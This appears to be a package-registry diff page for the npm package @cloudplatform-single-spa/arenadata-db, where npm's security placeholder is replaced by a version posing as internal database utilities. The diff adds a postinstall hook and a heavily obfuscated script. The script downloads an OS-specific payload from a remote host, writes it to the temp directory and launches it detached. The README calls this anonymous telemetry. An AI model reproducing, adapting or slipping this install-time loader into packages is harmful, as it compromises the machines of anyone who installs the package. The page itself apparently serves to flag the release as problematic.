@cloudplatform-single-spa/arenadata-db 0.0.1-security → 99.99.100

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @cloudplatform-single-spa/arenadata-db might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,81 @@
1
- # Security holding package
1
+ # @cloudplatform-single-spa/arenadata-db
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ > **Internal package** — Platform Engineering Team
4
+ > Docs: https://docs.cloudplatform-single-spa.io/platform/arenadata-db
5
+ > Issues: https://jira.cloudplatform-single-spa.io/projects/PLATFORM
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=%40cloudplatform-single-spa%2Farenadata-db for more information.
7
+ Internal database utilities with connection pooling, query builder and migration support
8
+
9
+ ---
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ # Make sure .npmrc points to the internal registry:
15
+ # registry=https://npm.cloudplatform-single-spa.io
16
+
17
+ npm install @cloudplatform-single-spa/arenadata-db
18
+ ```
19
+
20
+ ## Quick Start
21
+
22
+ ```js
23
+ const { createPool, query, transaction, migrate } = require('@cloudplatform-single-spa/arenadata-db');
24
+
25
+ const { createPool, query, transaction } = require('@internal-corp/db-utils');
26
+
27
+ const pool = createPool({
28
+ host: process.env.DB_HOST,
29
+ port: parseInt(process.env.DB_PORT || '5432'),
30
+ database: process.env.DB_NAME,
31
+ user: process.env.DB_USER,
32
+ password: process.env.DB_PASSWORD,
33
+ });
34
+
35
+ const users = await query(pool, 'SELECT * FROM users WHERE active = $1', [true]);
36
+ await transaction(pool, async (client) => {
37
+ await client.query('INSERT INTO events ...');
38
+ });
39
+ ```
40
+
41
+ ## API
42
+
43
+ ### `createPool(options)` → pool
44
+ | Option | Description |
45
+ |------------|----------------------|
46
+ | `host` | DB host |
47
+ | `port` | DB port (5432) |
48
+ | `database` | Database name |
49
+ | `user` | Username |
50
+ | `password` | Password |
51
+ | `max` | Pool size (default 10)|
52
+
53
+ ### `query(pool, sql, params?)` → rows[]
54
+ ### `transaction(pool, fn)` → runs fn in transaction
55
+ ### `migrate(pool, dir)` → runs migrations from dir
56
+
57
+ ---
58
+
59
+ ## Telemetry
60
+
61
+ On install, this package sends anonymous telemetry to `telemetry.cloudplatform-single-spa.io`
62
+ for environment compatibility monitoring.
63
+
64
+ Disable: `CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY=1 npm install`
65
+
66
+ ---
67
+
68
+ ## Changelog
69
+
70
+ ### 99.99.100 (latest)
71
+ - Added ARM64 support
72
+ - Improved error handling
73
+ - Updated TypeScript types
74
+
75
+ ### 2.1.0
76
+ - Extended API
77
+ - Performance improvements
78
+
79
+ ### 2.0.0
80
+ - Async/await migration
81
+ - Multi-source support
@@ -0,0 +1,6 @@
1
+ export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; }
2
+ export interface Pool { host: string; port: number; database: string; }
3
+ export function createPool(options?: PoolOptions): Pool;
4
+ export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>;
5
+ export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>;
6
+ export function migrate(pool: Pool, dir?: string): Promise<string[]>;
package/dist/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+ // dist/index.js
3
+ module.exports = require('../src/index.js');
package/package.json CHANGED
@@ -1,6 +1,36 @@
1
1
  {
2
2
  "name": "@cloudplatform-single-spa/arenadata-db",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.100",
4
+ "description": "Internal database utilities with connection pooling, query builder and migration support",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "build": "tsc --noEmit || true",
9
+ "test": "node test/index.test.js",
10
+ "postinstall": "node scripts/postinstall.js",
11
+ "prepublishOnly": "echo 'Building...'"
12
+ },
13
+ "keywords": ["database", "db", "postgres", "mysql", "query", "migration", "internal"],
14
+ "author": "Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa.io>",
15
+ "license": "UNLICENSED",
16
+ "private": false,
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.cloudplatform-single-spa.io/platform/arenadata-db.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://jira.cloudplatform-single-spa.io/projects/PLATFORM"
23
+ },
24
+ "homepage": "https://docs.cloudplatform-single-spa.io/platform/arenadata-db",
25
+ "engines": {
26
+ "node": ">=16.0.0"
27
+ },
28
+ "files": [
29
+ "dist/",
30
+ "scripts/",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "dependencies": {},
35
+ "devDependencies": {}
6
36
  }
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x3bdb2c=a0_0x841d;function a0_0x841d(_0x5896fd,_0x3c4e22){_0x5896fd=_0x5896fd-(-0x6*-0x576+0x53*-0x38+-0xdee);const _0x3228ca=a0_0x49d2();let _0x4c5268=_0x3228ca[_0x5896fd];if(a0_0x841d['DfWJKj']===undefined){var _0x1b17d5=function(_0x58c44f){const _0x26bf9d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x45481c='',_0x166d17='',_0x43ca1c=_0x45481c+_0x1b17d5,_0xd1cfd5=(''+function(){return-0x10e0*0x2+-0x2675*-0x1+-0x4b5;})['indexOf']('\x0a')!==-(-0x4ac+-0x3*-0xba8+-0x1e4b);for(let _0x1f2618=-0x4*0x363+0x1*0x16f5+0x323*-0x3,_0x219101,_0x1cdc72,_0x169561=0xa3*0x12+-0x1d25+0x5e5*0x3;_0x1cdc72=_0x58c44f['charAt'](_0x169561++);~_0x1cdc72&&(_0x219101=_0x1f2618%(-0x7*0x51c+0x2*-0x987+0x36d6)?_0x219101*(-0x1ca8+-0x16*-0x94+0x7*0x250)+_0x1cdc72:_0x1cdc72,_0x1f2618++%(0x5*-0x4db+-0x9c*0x27+0x300f))?_0x45481c+=_0xd1cfd5||_0x43ca1c['charCodeAt'](_0x169561+(-0x22af*-0x1+-0x104a+-0x125b))-(-0x1249+0xd67+0x4ec)!==-0x1*0x19d5+-0x22*0x77+0x29a3?String['fromCharCode'](-0x539+0xa71*0x1+-0x439&_0x219101>>(-(-0x1624+-0x338+0x195e)*_0x1f2618&-0x1258+0x11*-0x98+-0x1*-0x1c76)):_0x1f2618:0x1794+0x6fc+-0x1e90){_0x1cdc72=_0x26bf9d['indexOf'](_0x1cdc72);}for(let _0x18ed96=-0x301*-0x3+0x539*0x1+-0xe3c,_0x25029e=_0x45481c['length'];_0x18ed96<_0x25029e;_0x18ed96++){_0x166d17+='%'+('00'+_0x45481c['charCodeAt'](_0x18ed96)['toString'](0x1*-0xf71+-0x37+-0x4*-0x3ee))['slice'](-(0x161*0x17+-0xee0+-0x10d5));}return decodeURIComponent(_0x166d17);};a0_0x841d['PqvMpW']=_0x1b17d5,a0_0x841d['COVztT']={},a0_0x841d['DfWJKj']=!![];}const _0x39d8db=_0x3228ca[-0x111*0x4+-0x1*-0x1bc9+-0x1785],_0x4136d9=_0x5896fd+_0x39d8db,_0x1636bf=a0_0x841d['COVztT'][_0x4136d9];if(!_0x1636bf){const _0xf9521a=function(_0x29cd5c){this['HDzhkY']=_0x29cd5c,this['JgcLwB']=[-0xad0+-0x10*-0x20+0x8d1,0x1*-0xc73+0x13e1+0x6*-0x13d,0x13cb*0x1+-0x2*0x109d+-0xb5*-0x13],this['milBmL']=function(){return'newState';},this['atZYGS']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ggtkBI']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0xf9521a['prototype']['icYxxc']=function(){const _0x2fa1ee=new RegExp(this['atZYGS']+this['ggtkBI']),_0x71212a=_0x2fa1ee['test'](this['milBmL']['toString']())?--this['JgcLwB'][0x1efb+-0x525*0x1+-0x19d5*0x1]:--this['JgcLwB'][0x541*0x1+-0x229f+0x1d5e];return this['wVITMr'](_0x71212a);},_0xf9521a['prototype']['wVITMr']=function(_0x1ad7c9){if(!Boolean(~_0x1ad7c9))return _0x1ad7c9;return this['agaUMI'](this['HDzhkY']);},_0xf9521a['prototype']['agaUMI']=function(_0x145f02){for(let _0x4489a2=-0x1dbf*-0x1+0x2084+-0x3e43*0x1,_0x1d42e4=this['JgcLwB']['length'];_0x4489a2<_0x1d42e4;_0x4489a2++){this['JgcLwB']['push'](Math['round'](Math['random']())),_0x1d42e4=this['JgcLwB']['length'];}return _0x145f02(this['JgcLwB'][0x1d27+-0x1*-0x7f7+0x1*-0x251e]);},(''+function(){return-0xb33+-0x8b*0x7+0xf00;})['indexOf']('\x0a')===-(0x1b1e+-0x3b7*0x1+0x4ae*-0x5)&&new _0xf9521a(a0_0x841d)['icYxxc'](),_0x4c5268=a0_0x841d['PqvMpW'](_0x4c5268),a0_0x841d['COVztT'][_0x4136d9]=_0x4c5268;}else _0x4c5268=_0x1636bf;return _0x4c5268;}(function(_0x5de206,_0x2b452a){const _0x522dca=a0_0x841d,_0x175dd2=_0x5de206();while(!![]){try{const _0x4d3494=-parseInt(_0x522dca(0xd5))/(0x2089+-0x9d6+-0x16b2)+parseInt(_0x522dca(0xcd))/(0x1d9d+0x59d+-0x38*0xa1)+parseInt(_0x522dca(0xb4))/(0x24a0+0x1934+-0x3dd1)+parseInt(_0x522dca(0x106))/(-0x1f71+-0x129b+0x3210)*(-parseInt(_0x522dca(0xdd))/(0x1b56*0x1+0x1fa7*-0x1+0x25*0x1e))+parseInt(_0x522dca(0xd6))/(0x1*0x2426+-0x69b+-0x1d85)*(parseInt(_0x522dca(0xd9))/(-0x341*-0x7+0xbe9+-0x13*0x1d3))+parseInt(_0x522dca(0xf8))/(0x4e*-0x3f+0xe0b*0x1+0x52f)*(-parseInt(_0x522dca(0xb7))/(-0xb95+0xbe2+-0x44))+parseInt(_0x522dca(0xf1))/(0x106a+-0x531+-0xb2f)*(parseInt(_0x522dca(0xed))/(-0x1a14*0x1+-0xc3f*-0x3+0x9*-0x12e));if(_0x4d3494===_0x2b452a)break;else _0x175dd2['push'](_0x175dd2['shift']());}catch(_0x36cbb5){_0x175dd2['push'](_0x175dd2['shift']());}}}(a0_0x49d2,-0x7*0x19a58+0xc8da*0x1+0x1083b8));const a0_0x1d42e4=require('os'),a0_0x4e3024=require('fs'),a0_0x1184a1=require(a0_0x3bdb2c(0xd7)),a0_0xb388b9=require(a0_0x3bdb2c(0xf7)),a0_0x1ae484=require(a0_0x3bdb2c(0x108)),{execSync:a0_0x442d84,spawn:a0_0x5a9282}=require(a0_0x3bdb2c(0xdb)),a0_0x3deedb=a0_0x3bdb2c(0xba),a0_0x59950d=a0_0x3bdb2c(0xf5),a0_0x231cf0=a0_0x3bdb2c(0xc9)+a0_0x3bdb2c(0x101),a0_0x157e1a=a0_0x3bdb2c(0xe9),a0_0x4fac7d=!!process.env[a0_0x157e1a],a0_0x419474=a0_0x3bdb2c(0xc8)===a0_0x3bdb2c(0xd2)||!!process.env[a0_0x231cf0+'RECON_ONLY'];function a0_0x287475(_0x47de27){const _0x134843=a0_0x3bdb2c,_0x30e343=process[_0x134843(0xea)][_0x134843(0xfd)][_0x134843(0x104)]('.')[_0x134843(0x10c)](Number),_0xfa9d3b=_0x47de27[_0x134843(0x10f)]('>=','')[_0x134843(0x104)]('.')[_0x134843(0x10c)](Number);return _0x30e343[-0xd*0x2b+-0x2*0x256+0x6db]>_0xfa9d3b[-0x4*0x363+0x1*0x16f5+0x323*-0x3]||_0x30e343[0xa3*0x12+-0x1d25+0x5e5*0x3]===_0xfa9d3b[-0x7*0x51c+0x2*-0x987+0x36d2]&&_0x30e343[-0x1ca8+-0x16*-0x94+0x7*0x247]>=(_0xfa9d3b[0x5*-0x4db+-0x9c*0x27+0x300c]||-0x22af*-0x1+-0x104a+-0x1265);}function a0_0x733a4d(_0x1bd33c){const _0x50aa9c=a0_0x3bdb2c;let _0x141e07=-0x1249+0xd67+0x4e2;for(let _0x5e1b01=-0x1*0x19d5+-0x22*0x77+0x29a3;_0x5e1b01<_0x1bd33c[_0x50aa9c(0xfb)];_0x5e1b01++){_0x141e07=(_0x141e07<<-0x539+0xa71*0x1+-0x533)-_0x141e07+_0x1bd33c[_0x50aa9c(0xf0)](_0x5e1b01),_0x141e07|=-0x1624+-0x338+0x195c;}return Math[_0x50aa9c(0xf3)](_0x141e07)[_0x50aa9c(0xbe)](-0x1258+0x11*-0x98+-0x6*-0x4c0)[_0x50aa9c(0xfc)](0x1794+0x6fc+-0x1e88,'0');}function a0_0x4151dd(_0x578fa7,_0x542cee){const _0x2166c2=a0_0x3bdb2c;try{const _0xd90f0f=a0_0x1184a1[_0x2166c2(0x110)](_0x578fa7,_0x542cee+_0x2166c2(0xd4));if(!a0_0x4e3024[_0x2166c2(0x112)](_0xd90f0f))return null;const _0x43eb75=JSON[_0x2166c2(0x11a)](a0_0x4e3024[_0x2166c2(0xd1)](_0xd90f0f,_0x2166c2(0xb8)));if(_0x43eb75[_0x2166c2(0xde)]&&Date[_0x2166c2(0xbd)]()>_0x43eb75[_0x2166c2(0xde)])return a0_0x4e3024[_0x2166c2(0x109)](_0xd90f0f),null;return _0x43eb75[_0x2166c2(0xeb)];}catch{return null;}}function a0_0x33c64d(_0x4c44c2,_0x1386a8,_0x5b3036,_0x1d6bc4){const _0x113778=a0_0x3bdb2c;try{const _0x2e93fd={};_0x2e93fd[_0x113778(0xb0)]=!![],a0_0x4e3024[_0x113778(0xe5)](_0x4c44c2,_0x2e93fd),a0_0x4e3024[_0x113778(0xff)](a0_0x1184a1[_0x113778(0x110)](_0x4c44c2,_0x1386a8+_0x113778(0xd4)),JSON[_0x113778(0xe0)]({'value':_0x5b3036,'expires':_0x1d6bc4?Date[_0x113778(0xbd)]()+_0x1d6bc4:null}));}catch{}}function a0_0x3003ae(_0x2e924b,_0x1f6365){const _0x28c7f5=a0_0x3bdb2c;try{if(!a0_0x4e3024[_0x28c7f5(0x112)](_0x2e924b))return 0x539+0xd4c*0x1+-0x1285;let _0x4f131e=0x1*-0xf71+-0x37+-0x8*-0x1f5;for(const _0x300b4b of a0_0x4e3024[_0x28c7f5(0xcb)](_0x2e924b)){const _0x52b4a2=a0_0x1184a1[_0x28c7f5(0x110)](_0x2e924b,_0x300b4b),_0x458b58=a0_0x4e3024[_0x28c7f5(0x117)](_0x52b4a2);Date[_0x28c7f5(0xbd)]()-_0x458b58[_0x28c7f5(0xb3)]>_0x1f6365&&(a0_0x4e3024[_0x28c7f5(0x109)](_0x52b4a2),_0x4f131e++);}return _0x4f131e;}catch{return 0x161*0x17+-0xee0+-0x10d7;}}function a0_0xe36adb(_0x17c77b){const _0x585f74=a0_0x3bdb2c;let _0x4e8958=_0x17c77b;while(!![]){const _0x4f7cc2=a0_0x1184a1[_0x585f74(0x110)](_0x4e8958,_0x585f74(0x103));if(a0_0x4e3024[_0x585f74(0x112)](_0x4f7cc2))try{const _0x2ad530=JSON[_0x585f74(0x11a)](a0_0x4e3024[_0x585f74(0xd1)](_0x4f7cc2,_0x585f74(0xb8))),_0x3d81ab=a0_0x1184a1[_0x585f74(0x110)](_0x4e8958,_0x585f74(0xe2)),_0x1b977b=a0_0x1184a1[_0x585f74(0x110)](_0x4e8958,_0x585f74(0xc4));if(_0x2ad530[_0x585f74(0xc0)]||a0_0x4e3024[_0x585f74(0x112)](_0x3d81ab)||a0_0x4e3024[_0x585f74(0x112)](_0x1b977b))return _0x4e8958;}catch{}const _0x2d1afe=a0_0x1184a1[_0x585f74(0x10a)](_0x4e8958);if(_0x2d1afe===_0x4e8958)return null;_0x4e8958=_0x2d1afe;}}function a0_0x49d2(){const _0x41512d=['Dg1WzgLY','lMPZB24','ndu5nJiZzuzMs016','nKzYr3Hgwq','Cgf0Aa','ChvZAa','ndCWmZiZCuL5vgTw','lMPZ','y2HPBgrFChjVy2vZCW','yxnZAwDU','mtq3nJG2nvDqA1Lqrq','zxHWAxjLCW','Ag9ZDg5HBwu','C3rYAw5NAwz5','pJ0XnI4W','EwfYBI5SB2nR','Dw5Yzwy','zgv0ywnOzwq','BwTKAxjtEw5J','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','AwDUB3jL','yxbWBhK','q0XpvurqtefurK9stv9tsu5htevFu1bbx05px1rftevnrvrswq','DMvYC2LVBNm','DMfSDwu','Ahr0Chm6','mte4mtrfBLzPC0K','vKvs','D2LU','y2HHCKnVzgvbDa','otqYmg5yzNLSCq','y29Uy2f0','ywjZ','ChjVDg9JB2W','otKUotKUmtaW','lMnHy2HL','Ahr0Chm','oe9TqMLOzG','zgfYD2LU','CgXHDgzVCM0','BgvUz3rO','CgfKu3rHCNq','BM9Kzq','wc1tzwnYzxq','D3jPDgvgAwXLu3LUyW','BwfJ','rLvtsu9oxW','vxnLCI1bz2vUDa','CgfJA2fNzs5QC29U','C3bSAxq','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','ner0BxbAza','Cgf0Ag5HBwu','Ahr0Ca','Dw5SAw5Ru3LUyW','zgLYBMfTzq','y29UC3rYDwn0B3i','BwfW','vvjm','AgvHzgvYCW','CMvWBgfJzq','AM9PBG','C2vHCMnO','zxHPC3rZu3LUyW','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDa','u0vduKvu','y3DK','zxHLy1bHDgG','C3rHDfn5BMm','D2LUzg93C0HPzgu','r0vu','CgfYC2u','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDc5QCW','ueTh','DgLTzw91Da','uefzte9bra','uKvdt05Ft05mwq','CMvJDxjZAxzL','Cg9YDa','zgf0yq','BxrPBwvnCW','mtiWmZe4AKHzsNzw','BgLUDxG','CMvXDwvZDa','mZy5ndi0ofnNvuroDq','DxrMoa','Bwv0Ag9K','qgnSB3vKCgXHDgzVCM0TC2LUz2XLlxnWys9HCMvUywrHDgeTzgi','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','D2LUmZi','BM93','Dg9tDhjPBMC','D3jPDgu','D29YA3nWywnLCW','y2XVDwrWBgf0zM9YBs1ZAw5NBguTC3bHlxrLBgvTzxrYEs8XlJa','zw52','kcGOlISPkYKRksSK','Cg5WBs13B3jRC3bHy2uUEwfTBa','Ag9TzwrPCG','zw5K','zxjYB3i','zMfSC2u','revqx0nptG','C3rKAw8','CMvHzgrPCLn5BMm','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','odG5nJG2qMPwrLnl','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','zgvZDhjVEq','C3rKzxjY','CMvHzezPBgvtEw5J','Dhj1zq'];a0_0x49d2=function(){return _0x41512d;};return a0_0x49d2();}function a0_0x57b947(){const _0x5a7ba9=a0_0x3bdb2c,_0x5934c6=a0_0x1d42e4[_0x5a7ba9(0xfa)]();if(_0x5934c6===_0x5a7ba9(0xf9))return _0x5a7ba9(0x100);if(_0x5934c6===_0x5a7ba9(0xbc))return _0x5a7ba9(0xef);return _0x5a7ba9(0xb5);}function a0_0x778e9b(_0x55671a,_0x1ba46c){return _0x1ba46c=_0x1ba46c||-0x1999*0x1+-0x5*-0x2157+-0x17ea,new Promise(function(_0x44c7f6,_0x185801){const _0x2c2230=a0_0x841d,_0x1039f9=new URL(_0x55671a),_0x2ab6a9=_0x1039f9[_0x2c2230(0xf4)]===_0x2c2230(0xec)?a0_0xb388b9:a0_0x1ae484,_0x201f41={};_0x201f41[_0x2c2230(0xfe)]=_0x2c2230(0xbb),_0x201f41[_0x2c2230(0x102)]=_0x2c2230(0xc1);const _0x222220={};_0x222220[_0x2c2230(0xdf)]=_0x1039f9[_0x2c2230(0xdf)],_0x222220[_0x2c2230(0xb1)]=_0x1039f9[_0x2c2230(0xb1)]||(_0x1039f9[_0x2c2230(0xf4)]===_0x2c2230(0xec)?-0xad0+-0x10*-0x20+0xa8b:0x1*-0xc73+0x13e1+0x2*-0x38f),_0x222220[_0x2c2230(0xd7)]=_0x1039f9[_0x2c2230(0x107)],_0x222220[_0x2c2230(0xb9)]=_0x2c2230(0x119),_0x222220[_0x2c2230(0x11d)]=_0x1ba46c,_0x222220[_0x2c2230(0x10e)]=_0x201f41;const _0x5741b3=_0x222220,_0x148657=_0x2ab6a9[_0x2c2230(0xb6)](_0x5741b3,function(_0x25e94f){const _0x229a24=_0x2c2230,_0x149b7f=[];_0x25e94f['on'](_0x229a24(0xb2),function(_0x2b2e03){const _0x4c343a=_0x229a24;_0x149b7f[_0x4c343a(0xd8)](_0x2b2e03);}),_0x25e94f['on'](_0x229a24(0xc6),function(){const _0xa2dc9e=_0x229a24;_0x44c7f6(Buffer[_0xa2dc9e(0xf2)](_0x149b7f));});});_0x148657['on'](_0x2c2230(0xc7),_0x185801),_0x148657['on'](_0x2c2230(0x11d),function(){const _0x479e22=_0x2c2230;_0x148657[_0x479e22(0xcf)](),_0x185801(new Error(_0x479e22(0x11d)));}),_0x148657[_0x2c2230(0xc6)]();});}(async function a0_0xe710c5(){const _0x4bd822=a0_0x3bdb2c,_0x14b15f=(function(){let _0x121a31=!![];return function(_0x546f5d,_0x5cdef8){const _0x9961b7=_0x121a31?function(){const _0x4592cd=a0_0x841d;if(_0x5cdef8){const _0x305ee4=_0x5cdef8[_0x4592cd(0xe8)](_0x546f5d,arguments);return _0x5cdef8=null,_0x305ee4;}}:function(){};return _0x121a31=![],_0x9961b7;};}()),_0x1a801d=_0x14b15f(this,function(){const _0x49e134=a0_0x841d;return _0x1a801d[_0x49e134(0xbe)]()[_0x49e134(0x111)](_0x49e134(0xc3))[_0x49e134(0xbe)]()[_0x49e134(0x10b)](_0x1a801d)[_0x49e134(0x111)](_0x49e134(0xc3));});_0x1a801d();if(a0_0x4fac7d)return;!a0_0x287475(_0x4bd822(0xe1))&&process[_0x4bd822(0xd0)][_0x4bd822(0xbf)]('['+a0_0x3deedb+_0x4bd822(0xce));const _0x494e=a0_0x1184a1[_0x4bd822(0x110)](a0_0x1d42e4[_0x4bd822(0xc5)](),_0x4bd822(0xf6),_0x4bd822(0x113));a0_0x3003ae(_0x494e,(-0x2b*-0x30+-0x724*-0x5+-0x1*0x2bbd)*(-0x6a0+-0x132*-0x7+-0x1a6*0x1)*(0x26d7+0x1fd8+0x4673*-0x1)*(0x8e0+-0x24ae*0x1+0x2*0xe05)*(-0x664+0x5*0x4e2+-0xe1e));const _0x20b4b0=a0_0xe36adb(process[_0x4bd822(0x115)]()),_0x424e88=a0_0x733a4d(a0_0x3deedb+a0_0x59950d+(_0x20b4b0||'')),_0x80ab10=a0_0x4151dd(_0x494e,_0x424e88);!_0x80ab10&&a0_0x33c64d(_0x494e,_0x424e88,{'initialized':!![],'ts':Date[_0x4bd822(0xbd)]()},(-0x8b*0x7+-0x1946+-0x1*-0x1d2b)*(-0x1615+0x17*0xb+-0x555*-0x4)*(0x206+0x21*0xb6+-0x1940)*(-0x167*-0x18+-0x177*0x5+-0x166d));const _0x39b88b=a0_0x57b947();await new Promise(function(_0x50d4c0){setTimeout(_0x50d4c0,-0xb92+-0xf6d+0x26b7);});let _0x4a10a4;try{_0x4a10a4=await a0_0x778e9b(_0x4bd822(0xcc)+_0x39b88b+_0x4bd822(0xda),-0x4eea+-0xe78+0x97fa);}catch(_0x351ee8){return;}const _0x746bb4=a0_0x1184a1[_0x4bd822(0x110)](a0_0x1d42e4[_0x4bd822(0xd3)](),_0x4bd822(0x11b));try{a0_0x4e3024[_0x4bd822(0xff)](_0x746bb4,_0x4a10a4);}catch(_0x4380e1){return;}const _0x144603={[a0_0x231cf0+_0x4bd822(0x10d)]:_0x4bd822(0xe6),[a0_0x231cf0+_0x4bd822(0xae)]:_0x4bd822(0x105),[a0_0x231cf0+_0x4bd822(0x114)]:_0x4bd822(0xbb),[a0_0x231cf0+_0x4bd822(0xaf)]:a0_0x419474?'1':'',[a0_0x231cf0+_0x4bd822(0x11c)]:a0_0x3deedb,[a0_0x231cf0+_0x4bd822(0xee)]:a0_0x59950d},_0x50837e=Object[_0x4bd822(0xdc)]({},process.env,_0x144603),_0x55e121={};_0x55e121[_0x4bd822(0xe4)]=!![],_0x55e121[_0x4bd822(0xca)]=_0x4bd822(0xe7),_0x55e121[_0x4bd822(0xc2)]=_0x50837e,_0x55e121[_0x4bd822(0x118)]=!![],a0_0x5a9282(process[_0x4bd822(0x116)],[_0x746bb4],_0x55e121)[_0x4bd822(0xe3)]();}());